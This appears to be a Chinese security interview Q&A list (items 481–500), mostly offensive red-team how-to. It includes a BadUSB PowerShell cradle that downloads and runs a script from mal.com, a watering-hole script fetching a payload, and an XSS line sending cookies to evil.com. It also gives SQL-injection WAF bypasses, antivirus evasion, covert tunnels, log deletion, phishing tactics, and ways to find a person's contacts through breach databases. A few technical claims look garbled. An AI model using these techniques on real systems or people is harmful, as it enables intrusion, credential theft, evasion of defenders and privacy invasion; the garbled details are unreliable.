安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[481 如何通过程序判断一批域名是否是泛解析域名?](#481 如何通过程序判断一批域名是否是泛解析域名?)
[482 单机上进行域名爆破存在什么缺陷](#482 单机上进行域名爆破存在什么缺陷)
[483 GitHub中可根据企业哪些特征进行搜索?](#483 GitHub中可根据企业哪些特征进行搜索?)
[484 如何找到某个人的联系方式?](#484 如何找到某个人的联系方式?)
[485 各种常见木马的优劣势?](#485 各种常见木马的优劣势?)
[486 木马免杀有哪些方式?哪种方式最有效?](#486 木马免杀有哪些方式?哪种方式最有效?)
[487 木马隧道有哪些?哪种隧道在当前最有效?](#487 木马隧道有哪些?哪种隧道在当前最有效?)
[488 WordDDE和Office宏的优劣势?](#488 WordDDE和Office宏的优劣势?)
[489 如何绕过Office受保护视图?](#489 如何绕过Office受保护视图?)
[490 有哪些有效的钓鱼方式?](#490 有哪些有效的钓鱼方式?)
[491 如何绕过WAF?](#491 如何绕过WAF?)
[492 BadUSB原理及局限?](#492 BadUSB原理及局限?)
[493 如何在禁止出网的机器上访问互联网?](#493 如何在禁止出网的机器上访问互联网?)
[494 ew、frp差异?](#494 ew、frp差异?)
[495 ICMP如何出网?](#495 ICMP如何出网?)
[496 如何进行水坑攻击?](#496 如何进行水坑攻击?)
[497 如何利用XSS让影响最大化?](#497 如何利用XSS让影响最大化?)
[498 如何全流程最大限度降低被红军发现概率?](#498 如何全流程最大限度降低被红军发现概率?)
[499 equals与==的区别](#499 equals与==的区别)
[500 Java虚拟机区域如何划分?](#500 Java虚拟机区域如何划分?)
481 如何通过程序判断一批域名是否是泛解析域名? 482 单机上进行域名爆破存在什么缺陷 483 GitHub中可根据企业哪些特征进行搜索? 484 如何找到某个人的联系方式? 485 各种常见木马的的优劣势? 486 木马免杀有哪些方式?哪种方式最有效? 487 木马隧道有哪些?哪种隧道在当前最有效? 488 WordDDE和Office宏有什么优劣势? 489 如何绕过Office受保护视图? 490 有哪些有效的钓鱼方式? 491 如何绕过WAF、HIDS、威胁感知,选其一回答? 492 BadUSB原理及局限? 493 如何在禁止出网的机器上访问互联网? 494 ew、frp差异? 495 ICMP如何出网? 496 如何进行水坑攻击? 497 如何利用XSS让影响最大化? 498 如何全流程最大限度降低被红军发现概率? 499 equals与==的区别 500 Java虚拟机区域如何划分?481 如何通过程序判断一批域名是否是泛解析域名?
技术方案:
- 随机子域名探测
- 生成随机字符串子域名(如
rand123.example.com),发送DNS请求。- 若随机子域名解析成功且返回相同IP,则存在泛解析。
- 对比解析结果
- 选取已知不存在的子域名(如
test.noexist.example.com)与根域名(example.com)解析结果比对。- 两者IP一致 → 泛解析可能性高。
- 响应特征检测
- 部分DNS服务对泛解析响应包含特定标识(如Cloudflare返回
*.example.com记录)。扩展工具脚本:
python`import dns.resolver def is_wildcard(domain): rand_sub = f"{random_string(10)}.{domain}" try: ip_rand = dns.resolver.resolve(rand_sub, 'A')[0].address ip_root = dns.resolver.resolve(domain, 'A')[0].address return ip_rand == ip_root # 相同IP则判定泛解析 except: return False`
482 单机上进行域名爆破存在什么缺陷
核心缺陷:
- 性能瓶颈
- 单线程DNS查询效率低(通常<100 QPS),百万级字典爆破耗时过长。
- 网络限制
- 本地带宽和DNS缓存限制易触发ISP拦截或DNS服务商速率限制。
- 隐蔽性差
- 高频请求易被安全设备标记(如SIEEM系统检测异常DNS流量)。
- 结果漏报
- 无法覆盖CDN/负载均衡场景下的多地解析差异。
优化方向: 分布式爆破(如使用DNSMasscan)、异步IO提升并发。
483 GitHub中可根据企业哪些特征进行搜索?
关键搜索语法:
- 域名关联
org:companyname或email:@company.com- 代码特征
- 密钥/API泄漏:
filename:.env "API_KEY"- 配置文件:
path:config/ *.yml password- 员工行为痕迹
- 误传敏感文件:
extension:pem companyname- 项目元数据
description:"internal tool"或topic:company-project高级技巧: 结合GitHub API批量扫描历史提交(使用工具如GitRob)。
484 如何找到某个人的联系方式?
OSINT技术链:
- 基础信息聚合
- 通过姓名+公司组合搜索LinkedIn/脉脉,获取职位和邮箱命名规则(如first.last@company.com )。
- 跨平台关联
- 在Github/Twitter个人主页反查邮箱(用户常复用ID)。
- 域名溯源
- 查询个人持有域名WHOIS信息(注意GDPR屏蔽影响)。
- 漏洞数据利用
- 使用Hunter.io/Snov.io 检索已泄漏邮箱,或DeHashed查询历史密码泄露库。
隐私规避技巧: 通过企业官网Contact表单触发自动回复邮件抓取Mail Server头信息。
485 各种常见木马的优劣势?
木马类型 优势 劣势 RAT 功能全(屏幕控制/文件管理) 体积大,易被AV静态检测 Shellcode 内存执行无文件落地 依赖漏洞注入(如PDF/Office) PowerShell 免编译,绕过白名单 需开启PS执行策略,日志可追溯 宏病毒 利用文档信任关系 Office 365默认禁用宏 无文件木马 无磁盘IO,规避HIDS监控 依赖进程注入稳定性
486 木马免杀有哪些方式?哪种方式最有效?
主流方式及效果:
- 代码混淆(中等)
- 加密字符串+控制流扁平化(如使用OLLVM),可绕过基础特征检测。
- 加壳/捆绑(低效)
- UPX压缩易被脱壳,传统捆绑工具已被标记。
- 内存加载(高效)
- 分离式加载:Stager下载加密Shellcode至内存执行(规避静态扫描)。
- 系统工具滥用(高效)
- 利用合法进程加载(如mshta.exe 执行VBS),触发Living-off-the-Land(LOLbins)攻击。
- AI对抗(新兴)
- 使用GAN生成对抗性样本扰动AV模型(研究阶段)。
最有效方案: 内存加载+合法进程注入(如Cobalt Strike的Beacon),结合行为混淆(Sleep Masking)绕过EDR。
487 木马隧道有哪些?哪种隧道在当前最有效?
隧道类型对比:
协议 实现方式 检测难度 适用场景 HTTP/S 基于Web请求封装流量 ★★☆ 企业出网环境 DNS 子域名解析传递数据 ★★★ 严格防火墙策略 ICMP 封装Payload到Ping包 ★★★☆ 协议白名单环境 TCP 端口复用(如443复用) ★☆ 低安全监控网络 QUIC 基于UDP的HTTP/3协议 ★★★★ 高对抗环境 当前最有效: QUIC隧道(如QuicRAT),优势:
- 基于UDP减少握手延迟,加密流天然混淆
- 企业防火墙对HTTP/3放行率高
- 商业EDR尚未深度解析QUIC载荷
488 WordDDE和Office宏的优劣势?
特性 WordDDE Office宏 触发方式 文档内嵌入DDE自动更新字段 用户点击"启用宏" 防御规避 无需启用宏,利用旧协议兼容性 依赖社会工程诱导用户启用 检测难度 低(DDE协议特征明显) 中(宏代码可混淆) 适用版本 Office 2016及更早版本 全版本(365需调整信任中心) 载荷能力 仅能执行简单命令 完整VBA功能(文件操作/内存注入) 实战建议: 在禁用宏的环境优先尝试DDE,但需配合免杀Cmd执行链。
489 如何绕过Office受保护视图?
绕过技术栈:
- 文档属性欺骗
- 修改文件元数据标记为"来自可信来源"(使用工具如DocPropertiesEditor)。
- 诱骗用户点击
- 在文档内提示"此视图受限,请点击'编辑内容'以完整查看"(社会工程)。
- 容器文件封装
- 将恶意文档嵌入PDF/ZIP,利用解压后的文件不受保护视图限制。
- 漏洞利用(CVE)
- 结合未修补漏洞(如CVE-2017-0199 RTF漏洞)直接绕过沙箱。
最新方案: 利用Office加载项(Add-ins)机制安装恶意插件(需数字签名)。
490 有哪些有效的钓鱼方式?
高成功率场景:
- 供应链攻击
- 篡改开源库/软件安装包(PyPI/npm投毒),定向攻击开发者。
- 云服务仿冒
- 伪造AWS/Azure登录页,利用OAuth权限获取云控制台权限。
- 内部系统克隆
- 复制企业VPN/邮件登录页(HTTPS证书+LOGO高仿)。
- 聊天工具劫持
- Slack/Teams中发送"会议纪要"恶意链接,利用内部信任链。
- 二维码钓鱼(Phishing)
- 线下张贴"WiFi连接二维码",诱导扫描后跳转恶意页。
成功率关键: 前置情报收集(如LinkedIn员工动态)提升欺骗真实性。
491 如何绕过WAF?
分层绕过技术:
- 协议层混淆
- 分块传输编码(Chunked Encoding)变异
- HTTP参数污染(HPP):
id=1&id=union select 1,2,3--- 字符集绕过
- 非常规编码:
u%6eion→union(UTF-7/16转码)- SQLi专用绕过
- 内联注释:
/*!50000union*/ select 1,2- 等价函数替换:
mid()→substr()→right()- 规则盲区利用
- 攻击API路径(
/v3/user)或非标端口(8443)- AI辅助模糊测试
- 使用工具(如WAFNinja)生成数千变异Payload自动化探测
终极方案: 时间盲注+低频请求 规避WAF流量统计模型。
492 BadUSB原理及局限?
原理:
- 利用USB设备固件重编程(如ATMega32U4芯片),伪装为HID设备(键盘)自动输入恶意指令。
典型攻击流程:
plaintext`1. 插入后自动输入Win+R打开运行框 2. 输入:PowerShell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://mal.com/shell.ps1')" 3. 触发回车执行 `局限:
- 物理接触依赖:需受害者插入设备
- 杀软拦截:脚本行为易触发AMSI扫描
- 输入法干扰:非英文键盘布局导致指令错误
- UAC限制:管理员权限操作需用户确认
改进方案: 使用Rubber Ducky结合C2通信(如Duckyscript2.0支持条件判断)。
493 如何在禁止出网的机器上访问互联网?
核心思路: 利用协议隧道穿透
实施步骤:
前置条件
- 获取一台可出网的内网机器(跳板机)作为中继。
协议选择
- DNS隧道(iodine):将流量封装至DNS查询
- ICMP隧道(ptunnel):使用Ping包传输TCP流量
- HTTP隧道(reGeorg):通过Web服务器转发流量
配置示例(ICMP)
bash`# 跳板机(出网机器): ptunnel -x mypassword # 目标机(禁止出网): ptunnel -p jumpbox_ip -lp 1080 -x mypassword`流量伪装
- 加密载荷(AES-256)
- 限制包频率模拟正常ICMP请求
风险: 企业内网ICMP监控可能触发告警。
494 ew、frp差异?
维度 EarthWorm (ew) frp 架构 多级节点转发(SOCKS5代理链) 客户端-服务端直连 协议支持 仅SOCKS5 TCP/UDP/HTTP/STCP 配置复杂度 命令行参数(无配置文件) 基于TOML的配置文件 隐蔽性 支持流量加密(-s参数) 需插件实现TLS加密 适用场景 多层内网穿透(跳板嵌套) 快速暴露内网服务到公网 选型建议:
- 红队渗透选 ew(更强的网络适应能力)
- 运维/合法穿透选 frp(易用性高)
495 ICMP如何出网?
技术实现:
工具原理
- 封装TCP/UDP数据到ICMP Echo Request载荷(如icmptunnel)。
服务端配置
bash`# 服务端(公网VPS): sudo icmptunnel -s -d tap0 ifconfig tap0 10.0.0.1 netmask 255.255.255.0`客户端配置
bash`# 客户端(内网机器): sudo icmptunnel -c server_ip -d tap0 ifconfig tap0 10.0.0.2 netmask 255.255.255.0`路由设置
bash`# 在服务端添加路由: iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j MASQUERADE`检测规避:
- 限制包大小(<64字节)模仿正常Ping
- 随机化ICMP ID字段规避模式识别
496 如何进行水坑攻击?
攻击阶段:
目标分析
- 监控目标员工常访问网站(通过流量分析或社交工程)。
站点劫持
- 入侵第三方服务(如官网使用的jQuery库CDN)
- 或仿冒合法站点(HTTPS证书+内容克隆)
载荷植入
注入恶意JS:
javascript`if (navigator.userAgent.includes("CompanyName")) { fetch("https://mal.com/payload.exe", {mode:'no-cors'}) .then(res => res.arrayBuffer()) .then(data => executeShellcode(data)) }`触发条件
- 仅对特定IP段/User-Agent释放攻击
持久化
- 使用Service Worker实现离线缓存恶意脚本
高级技巧: 结合0day漏洞(如浏览器RCE)提升成功率。
497 如何利用XSS让影响最大化?
攻击升级链:
凭证窃取
javascript`// 截取登录Cookie document.location='http://evil.com/?c='+document.cookie; `内部网络探测
javascript`// 扫描内网 fetch('http://192.168.1.1', {mode:'no-cors'}).then(...)`客户端漏洞利用
- 加载BeEF框架Hook浏览器,触发CVE漏洞(如Chrome RCE)
持久化控制
- 篡改用户密码/邮箱(通过AJAX调用修改接口)
- 植入恶意浏览器扩展(自动下发CRX文件)
横向移动
- 通过内部Wiki系统XSS传播蠕虫(如Samy蠕虫变种)
关键策略: 结合CSRF触发高危操作(如添加管理员账号)。
498 如何全流程最大限度降低被红军发现概率?
全链条隐蔽策略:
阶段 措施 侦查 使用被动DNS查询(SecurityTrails)避免主动扫描 武器化 无文件攻击(PowerShell内存加载)+ 定制化C2证书(模仿企业域名) 投递 通过已被入侵的合法邮箱发送(避开邮件网关SPF检测) 执行 进程空洞(Process Hollowing)注入合法进程(如explorer.exe ) 持久化 计划任务命名模仿系统服务(如"Microsoft Defender Update") 横向移动 使用Mimikatz的DCSync而非LSASS内存转储 数据外传 分块加密数据伪装为Cloud存储API流量(如AWS S3 PUT请求) 痕迹清理 禁用ETW(Event Tracing for Windows)并删除日志(使用Phant0m工具) 核心原则: Living-off-the-Land (LOLbins) + 低慢速攻击。
499 equals与==的区别
Java内存对比:
java`String s1 = new String("text"); // 堆中对象 String s2 = "text"; // 字符串常量池 String s3 = "text"; // 同s2的常量池引用 s1 == s2; // false(比较内存地址) s1.equals(s2); // true(比较字符序列) s2 == s3; // true(常量池同一地址)`本质差异:
操作符 比较对象 重写可能 == 对象内存地址(引用相等) 不可重写 equals 对象逻辑内容(内容相等) 可重写 重写规范:
java`@Override public boolean equals(Object obj) { if (this == obj) return true; // 地址相同直接返回 if (obj == null) return false; if (getClass() != obj.getClass()) return false; // 类型检查 MyClass other = (MyClass) obj; return this.value == other.value; // 自定义字段比较 }`
500 Java虚拟机区域如何划分?
JVM内存结构图:
mermaid`graph TD A[JVM Memory] --> B[线程共享区] A --> C[线程私有区] B --> D[堆 Heap] B --> E[方法区 Method Area] C --> F[虚拟机栈 JVM Stack] C --> G[本地方法栈 Native Stack] C --> H[程序计数器 PC Register]`核心区域说明:
- 堆 (Heap)
- 存储对象实例(new创建的对象)
- 分代管理:YoungGen(Eden+S0+S1) / OldGen
- GC主战场(CMS/G1/ZGC算法作用域)
- 方法区 (Method Area)
- 存储类结构:常量池、字段方法数据、JIT代码缓存
- Java 8后由元空间 (Metaspace) 实现(本地内存)
- 虚拟机栈 (JVM Stack)
- 线程私有,存储栈帧(局部变量表/操作数栈/动态链接)
- 栈深度溢出 →
StackOverflowError- 程序计数器 (PC Register)
- 当前线程执行的字节码行号指示器
- 本地方法栈 (Native Stack)
- 服务于Native方法(如JNI调用)
参数调优示例:
bash`# 堆大小设置 -Xms1024m -Xmx2048m # 元空间大小 -XX:MaxMetaspaceSize=256m`